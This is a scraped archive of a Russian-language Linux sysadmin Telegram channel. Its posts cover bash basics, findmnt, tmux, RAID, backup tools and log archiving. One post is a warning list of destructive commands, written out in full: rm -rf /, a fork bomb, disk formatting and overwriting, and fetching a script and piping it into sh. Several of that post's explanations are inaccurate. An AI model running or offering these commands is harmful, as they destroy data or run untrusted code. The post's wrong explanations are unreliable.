ch
Feedback
Системный администратор

Системный администратор

前往频道在 Telegram

Канал для системных администраторов. Linux, Windows, Active Directory, GPO, PowerShell. Виртуализация Hyper-V, VMWare. Облака Azure, AWS. По всем вопросам @evgenycarter

显示更多
2 098
订阅者
无数据24 小时
-207
-14930
帖子存档
11 опасных команд Linux, которые вы никогда не должны запускать rm -rf / - Эта команда удалит все файлы и папки на вашем компьютере. Не запускайте ее, если не хотите потерять все свои данные. :(){ :|: & };: - Это команда, также известная как "fork bomb", может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы. mkfs.ext4 /dev/sda - Эта команда форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны. dd if=/dev/random of=/dev/sda - Эта команда перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных. chmod 777 / - Эта команда откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности. mv /home/* /dev/null - Эта команда переместит все файлы в вашей домашней директории в "null", что означает, что они будут утеряны. wget http://example.com/file -O /dev/null - Эта команда загрузит файл и перезапишет все данные в "null", что приведет к потере данных. mkfs.ext4 /dev/sda1 - Эта команда форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны. ln -s /dev/null /etc/passwd - Эта команда создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных. echo "Hello" > /dev/sda - Перезапишите свой раздел, это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello». wget http://malicious_source -O- | sh - Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы. 👉 @i_linux

CMatrix Основана на заставке к фильму "Матрица". Показывает текст, прокручивающийся в терминале, может прокручивать строки с одинаковой скоростью или асинхронно и с заданной пользователем скоростью. Установка $ sudo apt-get install cmatrix # Linux Включите асинхронную прокрутку: cmatrix -a Отображение красного текста: cmatrix -C {{red}} Включить режим радуги: cmatrix -r Установите задержку обновления экрана на 2 сантисекунды: cmatrix -u {{2}} Исходный код доступен на GitHub. 👉 @i_linux

Любой сбой инфраструктуры = простои, потери и размытая репутация. Но классические платформы виртуализации сегодня либо сложны
Любой сбой инфраструктуры = простои, потери и размытая репутация.  Но классические платформы виртуализации сегодня либо сложные, либо дорогие, либо не отвечают новым требованиям к отказоустойчивости и управляемости. Есть ли альтернатива?  Расскажем и покажем на деле:Вебинар «Точка устойчивости ИТ: почему HCI не только про “проще”, но и про “надёжнее”»  Что вы узнаете: 🔸Почему гиперконвергентная инфраструктура действительно может выигрывать у классических решений 🔸Как снизить затраты времени, ресурсов и усилий на поддержку 🔸Живое демо: веб-интерфейс vStack — управление инфраструктурой без лишней сложности 🔸Анонс новых возможностей — для тех, кто хочет быть на шаг впереди 🔸Открытый Q&A: разберём ваши кейсы, ответим на вопросы Когда: 10.06 в 11.00 ЗАРЕГИСТРИРОВАТЬСЯ

Зайд Менк, 17-летний студент из Зимбабве, потратил более 3 месяцев на создание масштабной модели Манхэттена из переработанных
+9
Зайд Менк, 17-летний студент из Зимбабве, потратил более 3 месяцев на создание масштабной модели Манхэттена из переработанных компьютерных деталей. 👉 @i_linux

+9
Кремниевые Титаны. Часть 2 #11: Sinclair Research #12: 3Dfx [Часть 1] #13: 3Dfx [Часть 2] #14: Почему не получилось с 3DO #15: Коротко про AMD #16: Creative Sound Blaster #17: Легенда ASUS #18: Microsoft #19: Foxconn #20: Matrox Часть 1 https://t.me/i_linux/563 источник 👉 @i_linux

Relax-and-Recover Решение для аварийного восстановления и миграции систем на новое железо под управлением Linux (ср. mksysb, ignite) Relax-and-Recover создает загрузочный образ. Этот образ может переразметить систему. После этого запускается восстановление из резервной копии. Возможно восстановление на другое оборудование. Поэтому Relax-and-Recover можно использовать и как инструмент миграции. В настоящее время Relax-and-Recover поддерживает различные загрузочные носители (включая ISO, PXE, ленту OBDR, USB или eSATA), разнообразные сетевые протоколы (включая sftp, ftp, http, nfs, cifs), а также множество стратегий резервного копирования (включая IBM TSM, CommVault, Micro Focus Data Protector, Symantec NetBackup, Bareos, Bacula, rsync, Borg). Решение Relax-and-Recover было разработано для простой настройки, не требует обслуживания и готово прийти на помощь в случае бедствия. Его характер "установил и забыл" устраняет любые оправдания для отсутствия решения по аварийному восстановлению. http://relax-and-recover.org/ https://github.com/rear/rear 👉 @i_linux

Bash Переменные в строке bash echo os-$(uname) # os-Linux Команды break - выход из цикла for, while или until continue - выполнение следующей итерации цикла for, while или until echo - вывод аргументов, разделенных пробелами, на стандартное устройство вывода exit - выход из оболочки export - отмечает аргументы как переменные для передачи в дочерние процессы в среде hash - запоминает полные имена путей команд, указанных в качестве аргументов, чтобы не искать их при следующем обращении kill - посылает сигнал завершения процессу pwd - выводит текущий рабочий каталог read - читает строку из ввода оболочки и использует ее для присвоения значений указанным переменным. return - заставляет функцию оболочки выйти с указанным значением shift - перемещает позиционные параметры налево test - вычисляет условное выражение times - выводит имя пользователя и системное время, использованное оболочкой и ее потомками trap - указывает команды, которые должны выполняться при получении оболочкой сигнала unset - вызывает уничтожение переменных оболочки wait - ждет выхода из дочернего процесса и сообщает выходное состояние. Зарезервированные переменные $DIRSTACK - содержимое вершины стека каталогов $EDITOR - текстовый редактор по умолчанию $EUID - Эффективный UID. Если вы использовали программу su для выполнения команд от другого пользователя, то эта переменная содержит UID этого пользователя, в то время как... $UID - ...содержит реальный идентификатор, который устанавливается только при логине. $FUNCNAME - имя текущей функции в скрипте. $GROUPS - массив групп к которым принадлежит текущий пользователь $HOME - домашний каталог пользователя $HOSTNAME - ваш hostname $HOSTTYPE - архитектура машины. $LC_CTYPE - внутренняя переменная, котороя определяет кодировку символов $OLDPWD - прежний рабочий каталог $OSTYPE - тип ОС $PATH - путь поиска программ $PPID - идентификатор родительского процесса $SECONDS - время работы скрипта(в сек.) $# - общее количество параметров переданных скрипту $* - все аргументы переданыне скрипту(выводятся в строку) $@ - тоже самое, что и предыдущий, но параметры выводятся в столбик $! - PID последнего запущенного в фоне процесса $$ - PID самого скрипта Переменные и параметры скрипта Приведу как пример небольшой пример, который мы разберем: #!/bin/bash # указываем где у нас хранится bash-интерпретатор parametr1=$1 # присваиваем переменной parametr1 значение первого параметра скрипта script_name=$0 #п рисваиваем переменной script_name значение имени скрипта echo "Вы запустили скрипт с именем $script_name и параметром $parametr1" # команда echo выводит определенную строку, обращение к переменным осуществляется через $имя_переменной. echo 'Вы запустили скрипт с именем $script_name и параметром $parametr1' # здесь мы видим другие кавычки, разница в том, что в одинарных кавычках не происходит подстановки переменных. exit 0 #Выход с кодом 0 (удачное завершение работы скрипта) Результат выполнения скрипта: ite@ite-desktop:~$ ./test.sh qwerty Вы запустили скрипт с именем ./test.sh и параметром qwerty Вы запустили скрипт с именем $script_name и параметром $parametr1 👉 @i_linux

Команда findmnt Это простая утилита командной строки, используемая для отображения списка подключенных файловых систем или поиска файловой системы в /etc/fstab, /etc/mtab или /proc/self/ mountinfo. Для отображения списка подключенных файловых систем, выполните в командной строке следующую команду. По умолчанию команда findmnt отображает файловые системы в древовидном формате. # findmnt Чтобы отобразить информацию в виде обычного списка, используйте параметр -l, как показано ниже # findmnt -l Можно выбрать отображение файловых систем только определенного типа, используя параметр командной строки -t, за которым следует тип файловой системы, такой как XFS или EXT4. # findmnt --fstab -t xfs или # findmnt --fstab -t ext4 Поиск файловой системы, используя точку монтирования. Например, следующая команда отображает все файловые системы /etc/fstab, где каталогом точки монтирования является /mnt/external/disk2. # findmnt --fstab /mnt/external/disk2 #this prints bind mounts where /mnt/external/disk2 is a source или # findmnt --fstab --target /mnt/external/disk2 Выводим все файловые системы /etc/fstab и преобразовываем теги LABEL = и UUID = в реальные имена устройств, добавьте ключ – –evaluate # findmnt --fstab --evaluate Отобразить только точку монтирования, в которой смонтирована файловая система с меткой «/ boot» или «/», используйте следующую команду. # findmnt -n --raw --evaluate --output=target LABEL=/boot или # findmnt -n --raw --evaluate --output=target LABEL=/ Findmnt также позволяет отслеживать действия по монтированию, размонтированию, перемонтированию и перемещению каталога, например, в /mnt/test. # findmnt --poll --mountpoint /mnt/test Если вы хотите больше информации в выводе, используйте ключ –verbose. # findmnt --real --verbose 👉 @i_linux

Ничего необычного, просто обезьяна настраивает Микротик 😀 👉 @i_linux

Подборка часто используемых инструментов удаленного подключения 1. Xshell Xshell - это очень мощное программное обеспечение для эмуляции защищенного терминала, которое поддерживает SSH1, SSH2 и протокол TELNET платформы Windows. Xshell можно использовать в интерфейсе Windows для доступа к удаленным серверам на различных системах, тем самым лучше достигая цели терминала удаленного управления. https://www.xshell.com/en/xshell/ 2. SecureCRT SecureCRT - это мощное программное обеспечение для эмуляции защищенного терминала, которое может помочь пользователям более безопасно подключаться к удаленным серверам, а также может быть использовано для реализации функций удаленного управления сервером и передачи файлов. SecureCRT поддерживает протоколы SSH1, SSH2, Telnet, Rlogin, Serial и SSL/TLS, которые могут быть использованы для подключения к различным удаленным терминалам, что позволяет удовлетворить различные потребности пользователей. https://www.vandyke.com 3. WinSCP WinSCP - это графический клиент SFTP с открытым исходным кодом, который использует SSH в среде Windows. Он также поддерживает протокол SCP. Его основная функция - безопасное копирование и передача файлов между локальным и удаленным компьютерами. https://winscp.net/ 4. PuTTY Putty - это легкий клиент SSH и Telnet, который может помочь пользователям подключиться к удаленным серверам, а также поддерживает протокол шифрования аутентификации SSH-2, что может сделать доступ пользователей к сети более безопасным. Putty также поддерживает протокол SSH на платформе Windows, что позволяет пользователям лучше контролировать удаленные серверы. https://putty.org/ 5. MobaXterm MobaXterm предоставляет комплексные возможности, почти все важные удаленные сетевые инструменты (такие как SSH, X11, RDP, VNC, FTP, MOSH и т.д.), а также команды Unix на рабочем столе Windows (bash, ls, cat, sed, grep, awk, rsync и т.д.), и автоматически открывает режим sftp после входа в систему. https://mobaxterm.mobatek.net/ 6. Tabby Tabby - это современный инструмент терминального подключения, с открытым исходным кодом и кроссплатформенный, поддерживающий системы Windows, MacOS и Linux. Tabby имеет более 20k+ Star на Github, что говорит о том, что это очень популярный терминальный инструмент! https://tabby.sh/ 👉 @i_linux

Установка Ubuntu 20.04 в RAID 1. Настройка и восстановление RAID массива Настройка Software RAID при установке Ubuntu Server 20.04. Комманды в видео: cat /proc/mdstat | Просмотр состояния RAID fdisk -l | Простомотр дисков и разделов mdadm --add /dev/md1 /dev/sda2 | Добавление разделов (partition) в RAID sfdisk -d /dev/sda | sfdisk /dev/sdb | Клонирование разделов с диска sda на sdb grub-install /dev/sdb | Установка загрузчика на новый диск sdb 👉 @i_linux

Автоматическая архивация логов старше 7 дней ✨ Когда у вас на сервере копятся старые логи, они занимают всё больше места. Этот простой Bash-скрипт поможет автоматически архивировать и удалять файлы старше 7 дней:

#!/usr/bin/env bash

# 📁 Директория с логами
LOG_DIR="/var/log/myapp"

# 📆 Архивируем файлы старше этого количества дней
DAYS=7

# 📦 Папка для хранения архивов
DEST_DIR="/backup/logs"

# Создаём папку для бэкапов, если её нет
mkdir -p "$DEST_DIR"

# Формируем имя архива по дате, например logs-2025-05-26.tar.gz
ARCHIVE="$DEST_DIR/logs-$(date +%F).tar.gz"

# 🚀 Архивируем все файлы старше $DAYS дней
find "$LOG_DIR" -type f -mtime +"$DAYS" -print0 \
  | tar --null -czvf "$ARCHIVE" --files-from -

# 🧹 Удаляем оригинальные файлы, которые попали в архив
find "$LOG_DIR" -type f -mtime +"$DAYS" -delete

echo "✅ Логи старше $DAYS дней заархивированы в $ARCHIVE и удалены из $LOG_DIR"
Как использовать 1. Сохраните скрипт, например, как /usr/local/bin/backup_logs.sh и сделайте его исполняемым:

   chmod +x /usr/local/bin/backup_logs.sh
   
2. Настройте cron-задачу, чтобы запускать его ежедневно в полночь. Введите crontab -e и добавьте строку:

   0 0 * * * /usr/local/bin/backup_logs.sh >> /var/log/backup_logs_cron.log 2>&1
   
🔧 Пояснения * find … -mtime +7 находит файлы старше 7 дней. * tar --null --files-from - позволяет корректно обрабатывать имена с пробелами. * Архивы сохраняются в /backup/logs — измените путь под свои нужды. 👉 @i_linux

RAID массивы. Уровни 0 1 5 6 10. Что такое RAID и как он работает 00:00 Вступление 00:46 RAID 0 02:42 RAID 1 04:40 RAID 5 07:59 RAID 6 09:25 RAID 10 11:32 Сравнение уровней RAID 👉 @i_linux

Пять GitHub проектов, которые помогут вам стать лучшим инженером DevOps 1. How they SRE Подборка общедоступных ресурсов о том
Пять GitHub проектов, которые помогут вам стать лучшим инженером DevOps 1. How they SRE Подборка общедоступных ресурсов о том, как технологические и технически подкованные организации по всему миру практикуют Site Reliability Engineering (SRE). https://github.com/upgundecha/howtheysre 2. Awesome Scalability Паттерны масштабируемых, надежных и производительных крупномасштабных систем https://github.com/binhnguyennus/awesome-scalability 3. DevOps Exercises Linux, Jenkins, AWS, SRE, Prometheus, Docker, Python, Ansible, Git, Kubernetes, Terraform, OpenStack, SQL, NoSQL, Azure, GCP, DNS, Elastic, Network, Virtualization. Вопросы для интервью по DevOps https://github.com/bregman-arie/devops-exercises 4. Test your sysadmin skills Сборник тестовых вопросов и ответов по Linux Sysadmin. Проверьте свои знания и навыки в различных областях с помощью этих вопросов и ответов. https://github.com/trimstray/test-your-sysadmin-skills 5. Awesome Site Reliability Engineering Составленный список ресурсов по надежности сайта и производственному инжинирингу. https://github.com/dastergon/awesome-sre 👉 @i_linux

+9
LPIC-101 1.10 Поиск файлов locate и find 1.9 Команда top для управления процессами 1.8 Менеджеры пакетов yum и apt 1.7 Программа Cron (крон) 1.6 Log файл и команды для работы с ими 1.5 Права доступа в файловой системе 1.4 Команды для работы с файлами и файловой системой 1 3 Команда sudo в Linux и создание нового пользователя 1.2 Редакторы vi и nano 1.1 Виртуальная машина и создание пользователя Рут права источник 👉 @i_linux

+6
Bash Shell Scripting Tutorial for Beginners Our First Script Using Bash on Linux | Ep#1 (Ubuntu) Relational Operators and If Statements | Ep#2 (Linux) String Operators & Comparison | Ep#3 (Linux) Read User Input into Bash Script | Ep#4 (Linux) Command Line Arguments | Ep#5 (Linux Terminal) For Loops, Continue, and Break on Linux | Ep#6 (Ubuntu) Empty Trash Bin Periodically | Ep#7 (Linux Terminal) источник 👉 @i_linux

Краткая шпаргалка по использованию tmux Ctr+B, ? Показать все доступные хоткеи Ctr+B, C Создать окно Ctr+B, N Следующее окно
Краткая шпаргалка по использованию tmux Ctr+B, ? Показать все доступные хоткеи Ctr+B, C Создать окно Ctr+B, N Следующее окно Ctr+B, P Предыдущее окно Ctr+B, [0-9] Перейти к окну с данным номером Ctr+B, X Закрыть окно Ctr+B, % Горизонтальное разделение Ctr+B, " Вертикальное разделение Ctr+B, стрелочки Переход между разделениями Ctr+B, запятая Переименовать окно Ctr+B, W Список всех окон с переключением Ctr+B, Fn+вверх Скролинг, можно использовать точпад Ctr+B, $ Переименовать текущую сессию Ctr+B, D Detach, отсоединиться от сессии Список доступных сессий можно посмотреть командой: tmux ls Подключение к сессии: tmux attach -t 0 Сессиям можно давать осмысленные имена и запускать в них фоновые задачи: # создать фоновую сессию tmux new-session -d -s background-task 'watch date' # подсоединиться к сессии tmux attach -t background-task # прибить сессию tmux kill-session -t background-task Это иногда бывает удобно в каких-нибудь скриптах. Характерно, что в screen подобный функционал тоже заявлен, но последний раз, когда я проверял, он был сломан. Интересно также, что в отличие от screen, в tmux нет возможности работать с последовательными портами. Но если вы решите полностью переходить на tmux, то для этой задачи можете воспользоваться утилитой cu: cu -l /dev/tty.usbserial -s 115200 👉 @i_linux

Так выглядели трансатлантические кабели XIX века 👉 @i_linux
+3
Так выглядели трансатлантические кабели XIX века 👉 @i_linux

🔍 Как найти и удалить пустые директории в Linux Иногда после установки, удаления или переноса файлов остаются пустые директории, которые засоряют систему. Вот простой способ их найти и удалить одной командой!

find /path/to/search -type d -empty -delete
📌 Пояснение: * -type d — ищем только директории * -empty — фильтруем пустые * -delete — удаляем найденное 🔐 Лучше сначала проверить, что будет удалено:

find /path/to/search -type d -empty
💡 Подсказка: если хочешь обработать всю систему, используй /, но будь осторожен — удали что-то нужное, и можно сломать систему. Лучше исключить важные каталоги, например:

find / -type d -empty -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" -delete
🧹 Отличный способ навести порядок в /tmp, /var/log, /home и других местах! 👉 @i_linux

Zenith - что-то вроде top или htop, но с диаграммами с возможностью масштабирования, использованием CPU, GPU, сети и диска. О
Zenith - что-то вроде top или htop, но с диаграммами с возможностью масштабирования, использованием CPU, GPU, сети и диска. Особенности Дополнительные графики использования ЦП, памяти, сети и дисков Быстрый просмотр свободного места на диске, IP-адресов сетевых карт, частоты процессора Выделение основных пользователей ЦП, памяти и диска Процент заряда батареи, время зарядки или разрядки, потребляемая мощность Таблица процессов с возможностью фильтрации по типу верхней части, включающая использование диска каждым процессом Изменение приоритета процесса Представления диаграмм с возможностью масштабирования (с поддержкой прокрутки назад во времени) Управление процессами с помощью сигналов Сохранение данных о производительности между запусками Метрики использования GPU для графических процессоров NVIDIA (с --features nvidia), включая использование GPU для каждого процесса Графики свободного места на диске Учет задержек (в Linux при запуске zenith с правами root) Установка на дистрибутивы Linux на базе Debian/Ubuntu (64-бит) sudo apt install curl curl -sL https://raw.githubusercontent.com/wimpysworld/deb-get/main/deb-get | sudo -E bash -s install deb-get https://github.com/bvaisvil/zenith 👉 @i_linux